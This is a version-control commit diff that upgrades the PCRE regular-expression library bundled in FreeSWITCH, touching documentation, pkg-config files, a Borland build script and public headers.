-       If /gP is present on  the  pattern,  the  search  for  further  matches
-       resumes at the end of the longest match. For example:
+       If /g is present on the pattern, the search for further matches resumes
+       at the end of the longest match. For example:
 
            re> /(tang|tangerine|tan)/g
          data> yellow tangerine and tangy sultana\D
@@ -453,7 +522,7 @@
        can  restart  the match with additional subject data by means of the \R
        escape sequence. For example:
 
-           re> /^?(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)$/
+           re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
          data> 23ja\P\D
          Partial match: 23ja
          data> n05\R\D
@@ -503,67 +572,88 @@
        the pcrecallout documentation.
 
 
+NON-PRINTING CHARACTERS
+
+       When pcretest is outputting text in the compiled version of a  pattern,
+       bytes  other  than 32-126 are always treated as non-printing characters
+       are are therefore shown as hex escapes.
+
+       When pcretest is outputting text that is a matched part  of  a  subject
+       string,  it behaves in the same way, unless a different locale has been
+       set for the  pattern  (using  the  /L  modifier).  In  this  case,  the
+       isprint() function to distinguish printing and non-printing characters.
+
+
 SAVING AND RELOADING COMPILED PATTERNS
 
-       The facilities described in this section are  not  available  when  the
+       The  facilities  described  in  this section are not available when the
        POSIX inteface to PCRE is being used, that is, when the /P pattern mod-
        ifier is specified.
 
        When the POSIX interface is not in use, you can cause pcretest to write
-       a  compiled  pattern to a file, by following the modifiers with > and a
+       a compiled pattern to a file, by following the modifiers with >  and  a
        file name.  For example:
 
          /pattern/im >/some/file
 
-       See the pcreprecompile documentation for a discussion about saving  and
+       See  the pcreprecompile documentation for a discussion about saving and
        re-using compiled patterns.
 
-       The  data  that  is  written  is  binary. The first eight bytes are the
-       length of the compiled pattern data  followed  by  the  length  of  the
-       optional  study  data,  each  written as four bytes in big-endian order
-       (most significant byte first). If there is no study  data  (either  the
+       The data that is written is binary.  The  first  eight  bytes  are  the
+       length  of  the  compiled  pattern  data  followed by the length of the
+       optional study data, each written as four  bytes  in  big-endian  order
+       (most  significant  byte  first). If there is no study data (either the
        pattern was not studied, or studying did not return any data), the sec-
-       ond length is zero. The lengths are followed by an exact  copy  of  the
+       ond  length  is  zero. The lengths are followed by an exact copy of the
        compiled pattern. If there is additional study data, this follows imme-
-       diately after the compiled pattern. After writing  the  file,  pcretest
+       diately  after  the  compiled pattern. After writing the file, pcretest
        expects to read a new pattern.
 
        A saved pattern can be reloaded into pcretest by specifing < and a file
-       name instead of a pattern. The name of the file must not  contain  a  <
-       character,  as  otherwise pcretest will interpret the line as a pattern
+       name  instead  of  a pattern. The name of the file must not contain a <
+       character, as otherwise pcretest will interpret the line as  a  pattern
        delimited by < characters.  For example:
 
           re> </some/file
          Compiled regex loaded from /some/file
          No study data
 
-       When the pattern has been loaded, pcretest proceeds to read data  lines
+       When  the pattern has been loaded, pcretest proceeds to read data lines
        in the usual way.
 
-       You  can copy a file written by pcretest to a different host and reload
-       it there, even if the new host has opposite endianness to  the  one  on
-       which  the pattern was compiled. For example, you can compile on an i86
+       You can copy a file written by pcretest to a different host and  reload
+       it  there,  even  if the new host has opposite endianness to the one on
+       which the pattern was compiled. For example, you can compile on an  i86
        machine and run on a SPARC machine.
 
-       File names for saving and reloading can be absolute  or  relative,  but
-       note  that the shell facility of expanding a file name that starts with
+       File  names  for  saving and reloading can be absolute or relative, but
+       note that the shell facility of expanding a file name that starts  with
        a tilde (~) is not available.
 
-       The ability to save and reload files in pcretest is intended for  test-
-       ing  and experimentation. It is not intended for production use because
-       only a single pattern can be written to a file. Furthermore,  there  is
-       no  facility  for  supplying  custom  character  tables  for use with a
-       reloaded pattern. If the original  pattern  was  compiled  with  custom
-       tables,  an  attempt to match a subject string using a reloaded pattern
-       is likely to cause pcretest to crash.  Finally, if you attempt to  load
+       The  ability to save and reload files in pcretest is intended for test-
+       ing and experimentation. It is not intended for production use  because
+       only  a  single pattern can be written to a file. Furthermore, there is
+       no facility for supplying  custom  character  tables  for  use  with  a
+       reloaded  pattern.  If  the  original  pattern was compiled with custom
+       tables, an attempt to match a subject string using a  reloaded  pattern
+       is  likely to cause pcretest to crash.  Finally, if you attempt to load
        a file that is not in the correct format, the result is undefined.
 
 
+SEE ALSO
+
+       pcre(3), pcreapi(3), pcrecallout(3),  pcrematching(3),  pcrepartial(d),
+       pcrepattern(3), pcreprecompile(3).
+
+
 AUTHOR
 
        Philip Hazel
-       University Computing Service,
-       Cambridge CB2 3QG, England.
+       University Computing Service
+       Cambridge CB2 3QH, England.
 
-Last updated: 29 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+REVISION
+
+       Last updated: 10 March 2009
+       Copyright (c) 1997-2009 University of Cambridge.

Deleted: freeswitch/branches/seven/libs/pcre/install-sh

Modified: freeswitch/branches/seven/libs/pcre/libpcre.pc.in (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/libpcre.pc.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/libpcre.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,6 +7,6 @@
 
 Name: libpcre
 Description: PCRE - Perl compatible regular expressions C library
-Version: @PCRE_VERSION@
+Version: @PACKAGE_VERSION@
 Libs: -L${libdir} -lpcre
 Cflags: -I${includedir}

Copied: freeswitch/branches/seven/libs/pcre/libpcrecpp.pc.in (from rev 14471, freeswitch/trunk/libs/pcre/libpcrecpp.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/libpcrecpp.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/libpcrecpp.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+# Package Information for pkg-config
+
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: libpcrecpp
+Description: PCRECPP - C++ wrapper for PCRE
+Version: @PACKAGE_VERSION@
+Libs: -L${libdir} -lpcre -lpcrecpp
+Cflags: -I${includedir}

Modified: freeswitch/branches/seven/libs/pcre/makevp.bat (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/makevp.bat	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/makevp.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,25 +1,66 @@
+:: AH 20-12-06 modified for new PCRE-7.0 and VP/BCC
+:: PH 19-03-07 renamed !compile.txt and !linklib.txt as makevp-compile.txt and
+::             makevp-linklib.txt
+:: PH 26-03-07 re-renamed !compile.txt and !linklib.txt as makevp-c.txt and
+::             makevp-l.txt
+:: PH 29-03-07 hopefully the final rename to makevp_c and makevp_l
+:: AH 27.08.08 updated for new PCRE-7.7
+::             required PCRE.H and CONFIG.H will be generated if not existing
+
 @echo off
+echo.
+echo Compiling PCRE with BORLAND C++ for VIRTUAL PASCAL
+echo.
 
 REM This file was contributed by Alexander Tokarev for building PCRE for use
 REM with Virtual Pascal. It has not been tested with the latest PCRE release.
 
+REM This file has been modified and extended to compile with newer PCRE releases
+REM by Stefan Weber (Angels Holocaust).
+
 REM CHANGE THIS FOR YOUR BORLAND C++ COMPILER PATH
+SET BORLAND=f:\bcc
+REM location of the TASM binaries, if compiling with the -B BCC switch
+SET TASM=f:\tasm
 
-SET BORLAND=c:\usr\apps\bcc55
+SET PATH=%PATH%;%BORLAND%\bin;%TASM%\bin
+SET PCRE_VER=77
+SET COMPILE_DEFAULTS=-DHAVE_CONFIG_H -DPCRE_STATIC -I%BORLAND%\include
 
-sh configure
+del pcre%PCRE_VER%.lib >nul 2>nul
 
-bcc32 -DDFTABLES -DSTATIC -DVPCOMPAT -I%BORLAND%\include -L%BORLAND%\lib dftables.c
+:: sh configure
 
-dftables > chartables.c
+:: check for needed header files
+if not exist pcre.h copy pcre.h.generic pcre.h
+if not exist config.h copy config.h.generic config.h
 
-bcc32 -c -RT- -y- -v- -u- -P- -O2 -5 -DSTATIC -DVPCOMPAT -UDFTABLES -I%BORLAND%\include get.c maketables.c pcre.c study.c
+bcc32 -DDFTABLES %COMPILE_DEFAULTS% -L%BORLAND%\lib dftables.c
+IF ERRORLEVEL 1 GOTO ERROR
 
-tlib %BORLAND%\lib\cw32.lib *calloc *del *strncmp *memcpy *memmove *memset
-tlib pcre.lib +get.obj +maketables.obj +pcre.obj +study.obj +calloc.obj +del.obj +strncmp.obj +memcpy.obj +memmove.obj +memset.obj
+:: dftables > chartables.c
+dftables pcre_chartables.c
 
-del *.obj *.exe *.tds *.bak >nul 2>nul
+REM compile and link the PCRE library into lib: option -B for ASM compile works too
+bcc32 -a4 -c -RT- -y- -v- -u- -R- -Q- -X -d -fp -ff -P- -O2 -Oc -Ov -3 -w-8004 -w-8064 -w-8065 -w-8012 -UDFTABLES -DVPCOMPAT %COMPILE_DEFAULTS% @makevp_c.txt
+IF ERRORLEVEL 1 GOTO ERROR
 
+tlib %BORLAND%\lib\cw32.lib *calloc *del *strncmp *memcpy *memmove *memset *memcmp *strlen
+IF ERRORLEVEL 1 GOTO ERROR
+tlib pcre%PCRE_VER%.lib @makevp_l.txt +calloc.obj +del.obj +strncmp.obj +memcpy.obj +memmove.obj +memset.obj +memcmp.obj +strlen.obj
+IF ERRORLEVEL 1 GOTO ERROR
+
+del *.obj *.tds *.bak >nul 2>nul
+
 echo ---
 echo Now the library should be complete. Please check all messages above.
 echo Don't care for warnings, it's OK.
+goto END
+
+:ERROR
+echo ---
+echo Error while compiling PCRE. Aborting...
+pause
+goto END
+
+:END

Copied: freeswitch/branches/seven/libs/pcre/makevp_c.txt (from rev 14471, freeswitch/trunk/libs/pcre/makevp_c.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/makevp_c.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/makevp_c.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+pcre_chartables.c
+pcre_compile.c
+pcre_config.c
+pcre_dfa_exec.c
+pcre_exec.c
+pcre_fullinfo.c
+pcre_get.c
+pcre_globals.c
+pcre_info.c
+pcre_maketables.c
+pcre_newline.c
+pcre_ord2utf8.c
+pcre_refcount.c
+pcre_study.c
+pcre_tables.c
+pcre_try_flipped.c
+pcre_ucd.c
+pcre_valid_utf8.c
+pcre_version.c
+pcre_xclass.c

Copied: freeswitch/branches/seven/libs/pcre/makevp_l.txt (from rev 14471, freeswitch/trunk/libs/pcre/makevp_l.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/makevp_l.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/makevp_l.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
++pcre_chartables.obj        &
++pcre_compile.obj           &
++pcre_config.obj	    &
++pcre_dfa_exec.obj          &
++pcre_exec.obj		    &
++pcre_fullinfo.obj          &
++pcre_get.obj		    &
++pcre_globals.obj           &
++pcre_info.obj		    &
++pcre_maketables.obj        &
++pcre_newline.obj           &
++pcre_ord2utf8.obj          &
++pcre_refcount.obj          &
++pcre_study.obj		    &
++pcre_tables.obj	    &
++pcre_try_flipped.obj       &
++pcre_ucd.obj               &
++pcre_valid_utf8.obj        &
++pcre_version.obj           &
++pcre_xclass.obj

Deleted: freeswitch/branches/seven/libs/pcre/mkinstalldirs

Modified: freeswitch/branches/seven/libs/pcre/pcre-config.in (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre-config.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre-config.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,9 @@
   *SunOS*)
   libR=" -R@libdir@"
   ;;
+  *BSD*)
+  libR=" -Wl,-R@libdir@"
+  ;;
 esac
 
 while test $# -gt 0; do
@@ -43,7 +46,7 @@
       echo $exec_prefix
       ;;
     --version)
-      echo @PCRE_VERSION@
+      echo @PACKAGE_VERSION@
       ;;
     --cflags | --cflags-posix)
       if test @includedir@ != /usr/include ; then

Modified: freeswitch/branches/seven/libs/pcre/pcre.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,7 +5,7 @@
 /* This is the public header file for the PCRE library, to be #included by
 applications that call the PCRE functions.
 
-           Copyright (c) 1997-2005 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -41,47 +41,49 @@
 
 /* The current PCRE version information. */
 
-/* NOTES FOR FUTURE MAINTAINERS: Do not use numbers with leading zeros, because
-they may be treated as octal constants. The PCRE_PRERELEASE feature is for
-identifying release candidates. It might be defined as -RC2, for example. In
-real releases, it should be defined empty. Do not change the alignment of these
-statments. The code in ./configure greps out the version numbers by using "cut"
-to get values from column 29 onwards. These are substituted into pcre-config
-and libpcre.pc. The values are not put into configure.ac and substituted here
-(which would simplify this issue) because that makes life harder for those who
-cannot run ./configure. As it now stands, this file need not be edited in that
-circumstance. */
+#define PCRE_MAJOR          7
+#define PCRE_MINOR          9
+#define PCRE_PRERELEASE     
+#define PCRE_DATE           2009-04-11
 
-#define PCRE_MAJOR          6
-#define PCRE_MINOR          7
-#define PCRE_PRERELEASE
-#define PCRE_DATE           04-Jul-2006
+/* When an application links to a PCRE DLL in Windows, the symbols that are
+imported have to be identified as such. When building PCRE, the appropriate
+export setting is defined in pcre_internal.h, which includes this file. So we
+don't change existing definitions of PCRE_EXP_DECL and PCRECPP_EXP_DECL. */
 
-/* Win32 uses DLL by default; it needs special stuff for exported functions
-when building PCRE. */
-
-#ifdef _WIN32
-#  ifdef PCRE_DEFINITION
-#    ifdef DLL_EXPORT
-#      define PCRE_DATA_SCOPE __declspec(dllexport)
+#if defined(_WIN32) && !defined(PCRE_STATIC)
+#  ifndef PCRE_EXP_DECL
+#    define PCRE_EXP_DECL  extern __declspec(dllimport)
+#  endif
+#  ifdef __cplusplus
+#    ifndef PCRECPP_EXP_DECL
+#      define PCRECPP_EXP_DECL  extern __declspec(dllimport)
 #    endif
-#  else
-#    ifndef PCRE_STATIC
-#      define PCRE_DATA_SCOPE extern __declspec(dllimport)
+#    ifndef PCRECPP_EXP_DEFN
+#      define PCRECPP_EXP_DEFN  __declspec(dllimport)
 #    endif
 #  endif
 #endif
 
-/* Otherwise, we use the standard "extern". */
+/* By default, we use the standard "extern" declarations. */
 
-#ifndef PCRE_DATA_SCOPE
+#ifndef PCRE_EXP_DECL
 #  ifdef __cplusplus
-#    define PCRE_DATA_SCOPE     extern "C"
+#    define PCRE_EXP_DECL  extern "C"
 #  else
-#    define PCRE_DATA_SCOPE     extern
+#    define PCRE_EXP_DECL  extern
 #  endif
 #endif
 
+#ifdef __cplusplus
+#  ifndef PCRECPP_EXP_DECL
+#    define PCRECPP_EXP_DECL  extern
+#  endif
+#  ifndef PCRECPP_EXP_DEFN
+#    define PCRECPP_EXP_DEFN
+#  endif
+#endif
+
 /* Have to include stdlib.h in order to ensure that size_t is defined;
 it is needed here for malloc. */
 
@@ -93,7 +95,8 @@
 extern "C" {
 #endif
 
-/* Options */
+/* Options. Some are compile-time only, some are run-time only, and some are
+both, so we keep them all distinct. */
 
 #define PCRE_CASELESS           0x00000001
 #define PCRE_MULTILINE          0x00000002
@@ -118,6 +121,13 @@
 #define PCRE_NEWLINE_CR         0x00100000
 #define PCRE_NEWLINE_LF         0x00200000
 #define PCRE_NEWLINE_CRLF       0x00300000
+#define PCRE_NEWLINE_ANY        0x00400000
+#define PCRE_NEWLINE_ANYCRLF    0x00500000
+#define PCRE_BSR_ANYCRLF        0x00800000
+#define PCRE_BSR_UNICODE        0x01000000
+#define PCRE_JAVASCRIPT_COMPAT  0x02000000
+#define PCRE_NO_START_OPTIMIZE  0x04000000
+#define PCRE_NO_START_OPTIMISE  0x04000000
 
 /* Exec-time and get/set-time error codes */
 
@@ -125,7 +135,8 @@
 #define PCRE_ERROR_NULL            (-2)
 #define PCRE_ERROR_BADOPTION       (-3)
 #define PCRE_ERROR_BADMAGIC        (-4)
-#define PCRE_ERROR_UNKNOWN_NODE    (-5)
+#define PCRE_ERROR_UNKNOWN_OPCODE  (-5)
+#define PCRE_ERROR_UNKNOWN_NODE    (-5)  /* For backward compatibility */
 #define PCRE_ERROR_NOMEMORY        (-6)
 #define PCRE_ERROR_NOSUBSTRING     (-7)
 #define PCRE_ERROR_MATCHLIMIT      (-8)
@@ -142,6 +153,8 @@
 #define PCRE_ERROR_DFA_WSSIZE     (-19)
 #define PCRE_ERROR_DFA_RECURSE    (-20)
 #define PCRE_ERROR_RECURSIONLIMIT (-21)
+#define PCRE_ERROR_NULLWSLIMIT    (-22)  /* No longer actually used */
+#define PCRE_ERROR_BADNEWLINE     (-23)
 
 /* Request types for pcre_fullinfo() */
 
@@ -158,6 +171,9 @@
 #define PCRE_INFO_NAMETABLE          9
 #define PCRE_INFO_STUDYSIZE         10
 #define PCRE_INFO_DEFAULT_TABLES    11
+#define PCRE_INFO_OKPARTIAL         12
+#define PCRE_INFO_JCHANGED          13
+#define PCRE_INFO_HASCRORLF         14
 
 /* Request types for pcre_config(). Do not re-arrange, in order to remain
 compatible. */
@@ -170,6 +186,7 @@
 #define PCRE_CONFIG_STACKRECURSE            5
 #define PCRE_CONFIG_UNICODE_PROPERTIES      6
 #define PCRE_CONFIG_MATCH_LIMIT_RECURSION   7
+#define PCRE_CONFIG_BSR                     8
 
 /* Bit flags for the pcre_extra structure. Do not re-arrange or redefine
 these bits, just add new ones on the end, in order to remain compatible. */
@@ -236,52 +253,52 @@
 have to take another form. */
 
 #ifndef VPCOMPAT
-PCRE_DATA_SCOPE void *(*pcre_malloc)(size_t);
-PCRE_DATA_SCOPE void  (*pcre_free)(void *);
-PCRE_DATA_SCOPE void *(*pcre_stack_malloc)(size_t);
-PCRE_DATA_SCOPE void  (*pcre_stack_free)(void *);
-PCRE_DATA_SCOPE int   (*pcre_callout)(pcre_callout_block *);
+PCRE_EXP_DECL void *(*pcre_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_free)(void *);
+PCRE_EXP_DECL void *(*pcre_stack_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_stack_free)(void *);
+PCRE_EXP_DECL int   (*pcre_callout)(pcre_callout_block *);
 #else   /* VPCOMPAT */
-PCRE_DATA_SCOPE void *pcre_malloc(size_t);
-PCRE_DATA_SCOPE void  pcre_free(void *);
-PCRE_DATA_SCOPE void *pcre_stack_malloc(size_t);
-PCRE_DATA_SCOPE void  pcre_stack_free(void *);
-PCRE_DATA_SCOPE int   pcre_callout(pcre_callout_block *);
+PCRE_EXP_DECL void *pcre_malloc(size_t);
+PCRE_EXP_DECL void  pcre_free(void *);
+PCRE_EXP_DECL void *pcre_stack_malloc(size_t);
+PCRE_EXP_DECL void  pcre_stack_free(void *);
+PCRE_EXP_DECL int   pcre_callout(pcre_callout_block *);
 #endif  /* VPCOMPAT */
 
 /* Exported PCRE functions */
 
-PCRE_DATA_SCOPE pcre *pcre_compile(const char *, int, const char **, int *,
+PCRE_EXP_DECL pcre *pcre_compile(const char *, int, const char **, int *,
                   const unsigned char *);
-PCRE_DATA_SCOPE pcre *pcre_compile2(const char *, int, int *, const char **,
+PCRE_EXP_DECL pcre *pcre_compile2(const char *, int, int *, const char **,
                   int *, const unsigned char *);
-PCRE_DATA_SCOPE int  pcre_config(int, void *);
-PCRE_DATA_SCOPE int  pcre_copy_named_substring(const pcre *, const char *,
+PCRE_EXP_DECL int  pcre_config(int, void *);
+PCRE_EXP_DECL int  pcre_copy_named_substring(const pcre *, const char *,
                   int *, int, const char *, char *, int);
-PCRE_DATA_SCOPE int  pcre_copy_substring(const char *, int *, int, int, char *,
+PCRE_EXP_DECL int  pcre_copy_substring(const char *, int *, int, int, char *,
                   int);
-PCRE_DATA_SCOPE int  pcre_dfa_exec(const pcre *, const pcre_extra *,
+PCRE_EXP_DECL int  pcre_dfa_exec(const pcre *, const pcre_extra *,
                   const char *, int, int, int, int *, int , int *, int);
-PCRE_DATA_SCOPE int  pcre_exec(const pcre *, const pcre_extra *, PCRE_SPTR,
+PCRE_EXP_DECL int  pcre_exec(const pcre *, const pcre_extra *, PCRE_SPTR,
                    int, int, int, int *, int);
-PCRE_DATA_SCOPE void pcre_free_substring(const char *);
-PCRE_DATA_SCOPE void pcre_free_substring_list(const char **);
-PCRE_DATA_SCOPE int  pcre_fullinfo(const pcre *, const pcre_extra *, int,
+PCRE_EXP_DECL void pcre_free_substring(const char *);
+PCRE_EXP_DECL void pcre_free_substring_list(const char **);
+PCRE_EXP_DECL int  pcre_fullinfo(const pcre *, const pcre_extra *, int,
                   void *);
-PCRE_DATA_SCOPE int  pcre_get_named_substring(const pcre *, const char *,
+PCRE_EXP_DECL int  pcre_get_named_substring(const pcre *, const char *,
                   int *, int, const char *, const char **);
-PCRE_DATA_SCOPE int  pcre_get_stringnumber(const pcre *, const char *);
-PCRE_DATA_SCOPE int  pcre_get_stringtable_entries(const pcre *, const char *,
+PCRE_EXP_DECL int  pcre_get_stringnumber(const pcre *, const char *);
+PCRE_EXP_DECL int  pcre_get_stringtable_entries(const pcre *, const char *,
                   char **, char **);
-PCRE_DATA_SCOPE int  pcre_get_substring(const char *, int *, int, int,
+PCRE_EXP_DECL int  pcre_get_substring(const char *, int *, int, int,
                   const char **);
-PCRE_DATA_SCOPE int  pcre_get_substring_list(const char *, int *, int,
+PCRE_EXP_DECL int  pcre_get_substring_list(const char *, int *, int,
                   const char ***);
-PCRE_DATA_SCOPE int  pcre_info(const pcre *, int *, int *);
-PCRE_DATA_SCOPE const unsigned char *pcre_maketables(void);
-PCRE_DATA_SCOPE int  pcre_refcount(pcre *, int);
-PCRE_DATA_SCOPE pcre_extra *pcre_study(const pcre *, int, const char **);
-PCRE_DATA_SCOPE const char *pcre_version(void);
+PCRE_EXP_DECL int  pcre_info(const pcre *, int *, int *);
+PCRE_EXP_DECL const unsigned char *pcre_maketables(void);
+PCRE_EXP_DECL int  pcre_refcount(pcre *, int);
+PCRE_EXP_DECL pcre_extra *pcre_study(const pcre *, int, const char **);
+PCRE_EXP_DECL const char *pcre_version(void);
 
 #ifdef __cplusplus
 }  /* extern "C" */

Copied: freeswitch/branches/seven/libs/pcre/pcre.h.generic (from rev 14471, freeswitch/trunk/libs/pcre/pcre.h.generic) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre.h.generic	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcre.h.generic	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+/*************************************************
+*       Perl-Compatible Regular Expressions      *
+*************************************************/
+
+/* This is the public header file for the PCRE library, to be #included by
+applications that call the PCRE functions.
+
+           Copyright (c) 1997-2009 University of Cambridge
+
+-----------------------------------------------------------------------------
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the name of the University of Cambridge nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+-----------------------------------------------------------------------------
+*/
+
+#ifndef _PCRE_H
+#define _PCRE_H
+
+/* The current PCRE version information. */
+
+#define PCRE_MAJOR          7
+#define PCRE_MINOR          9
+#define PCRE_PRERELEASE     
+#define PCRE_DATE           2009-04-11
+
+/* When an application links to a PCRE DLL in Windows, the symbols that are
+imported have to be identified as such. When building PCRE, the appropriate
+export setting is defined in pcre_internal.h, which includes this file. So we
+don't change existing definitions of PCRE_EXP_DECL and PCRECPP_EXP_DECL. */
+
+#if defined(_WIN32) && !defined(PCRE_STATIC)
+#  ifndef PCRE_EXP_DECL
+#    define PCRE_EXP_DECL  extern __declspec(dllimport)
+#  endif
+#  ifdef __cplusplus
+#    ifndef PCRECPP_EXP_DECL
+#      define PCRECPP_EXP_DECL  extern __declspec(dllimport)
+#    endif
+#    ifndef PCRECPP_EXP_DEFN
+#      define PCRECPP_EXP_DEFN  __declspec(dllimport)
+#    endif
+#  endif
+#endif
+
+/* By default, we use the standard "extern" declarations. */
+
+#ifndef PCRE_EXP_DECL
+#  ifdef __cplusplus
+#    define PCRE_EXP_DECL  extern "C"
+#  else
+#    define PCRE_EXP_DECL  extern
+#  endif
+#endif
+
+#ifdef __cplusplus
+#  ifndef PCRECPP_EXP_DECL
+#    define PCRECPP_EXP_DECL  extern
+#  endif
+#  ifndef PCRECPP_EXP_DEFN
+#    define PCRECPP_EXP_DEFN
+#  endif
+#endif
+
+/* Have to include stdlib.h in order to ensure that size_t is defined;
+it is needed here for malloc. */
+
+#include <stdlib.h>
+
+/* Allow for C++ users */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* Options. Some are compile-time only, some are run-time only, and some are
+both, so we keep them all distinct. */
+
+#define PCRE_CASELESS           0x00000001
+#define PCRE_MULTILINE          0x00000002
+#define PCRE_DOTALL             0x00000004
+#define PCRE_EXTENDED           0x00000008
+#define PCRE_ANCHORED           0x00000010
+#define PCRE_DOLLAR_ENDONLY     0x00000020
+#define PCRE_EXTRA              0x00000040
+#define PCRE_NOTBOL             0x00000080
+#define PCRE_NOTEOL             0x00000100
+#define PCRE_UNGREEDY           0x00000200
+#define PCRE_NOTEMPTY           0x00000400
+#define PCRE_UTF8               0x00000800
+#define PCRE_NO_AUTO_CAPTURE    0x00001000
+#define PCRE_NO_UTF8_CHECK      0x00002000
+#define PCRE_AUTO_CALLOUT       0x00004000
+#define PCRE_PARTIAL            0x00008000
+#define PCRE_DFA_SHORTEST       0x00010000
+#define PCRE_DFA_RESTART        0x00020000
+#define PCRE_FIRSTLINE          0x00040000
+#define PCRE_DUPNAMES           0x00080000
+#define PCRE_NEWLINE_CR         0x00100000
+#define PCRE_NEWLINE_LF         0x00200000
+#define PCRE_NEWLINE_CRLF       0x00300000
+#define PCRE_NEWLINE_ANY        0x00400000
+#define PCRE_NEWLINE_ANYCRLF    0x00500000
+#define PCRE_BSR_ANYCRLF        0x00800000
+#define PCRE_BSR_UNICODE        0x01000000
+#define PCRE_JAVASCRIPT_COMPAT  0x02000000
+#define PCRE_NO_START_OPTIMIZE  0x04000000
+#define PCRE_NO_START_OPTIMISE  0x04000000
+
+/* Exec-time and get/set-time error codes */
+
+#define PCRE_ERROR_NOMATCH         (-1)
+#define PCRE_ERROR_NULL            (-2)
+#define PCRE_ERROR_BADOPTION       (-3)
+#define PCRE_ERROR_BADMAGIC        (-4)
+#define PCRE_ERROR_UNKNOWN_OPCODE  (-5)
+#define PCRE_ERROR_UNKNOWN_NODE    (-5)  /* For backward compatibility */
+#define PCRE_ERROR_NOMEMORY        (-6)
+#define PCRE_ERROR_NOSUBSTRING     (-7)
+#define PCRE_ERROR_MATCHLIMIT      (-8)
+#define PCRE_ERROR_CALLOUT         (-9)  /* Never used by PCRE itself */
+#define PCRE_ERROR_BADUTF8        (-10)
+#define PCRE_ERROR_BADUTF8_OFFSET (-11)
+#define PCRE_ERROR_PARTIAL        (-12)
+#define PCRE_ERROR_BADPARTIAL     (-13)
+#define PCRE_ERROR_INTERNAL       (-14)
+#define PCRE_ERROR_BADCOUNT       (-15)
+#define PCRE_ERROR_DFA_UITEM      (-16)
+#define PCRE_ERROR_DFA_UCOND      (-17)
+#define PCRE_ERROR_DFA_UMLIMIT    (-18)
+#define PCRE_ERROR_DFA_WSSIZE     (-19)
+#define PCRE_ERROR_DFA_RECURSE    (-20)
+#define PCRE_ERROR_RECURSIONLIMIT (-21)
+#define PCRE_ERROR_NULLWSLIMIT    (-22)  /* No longer actually used */
+#define PCRE_ERROR_BADNEWLINE     (-23)
+
+/* Request types for pcre_fullinfo() */
+
+#define PCRE_INFO_OPTIONS            0
+#define PCRE_INFO_SIZE               1
+#define PCRE_INFO_CAPTURECOUNT       2
+#define PCRE_INFO_BACKREFMAX         3
+#define PCRE_INFO_FIRSTBYTE          4
+#define PCRE_INFO_FIRSTCHAR          4  /* For backwards compatibility */
+#define PCRE_INFO_FIRSTTABLE         5
+#define PCRE_INFO_LASTLITERAL        6
+#define PCRE_INFO_NAMEENTRYSIZE      7
+#define PCRE_INFO_NAMECOUNT          8
+#define PCRE_INFO_NAMETABLE          9
+#define PCRE_INFO_STUDYSIZE         10
+#define PCRE_INFO_DEFAULT_TABLES    11
+#define PCRE_INFO_OKPARTIAL         12
+#define PCRE_INFO_JCHANGED          13
+#define PCRE_INFO_HASCRORLF         14
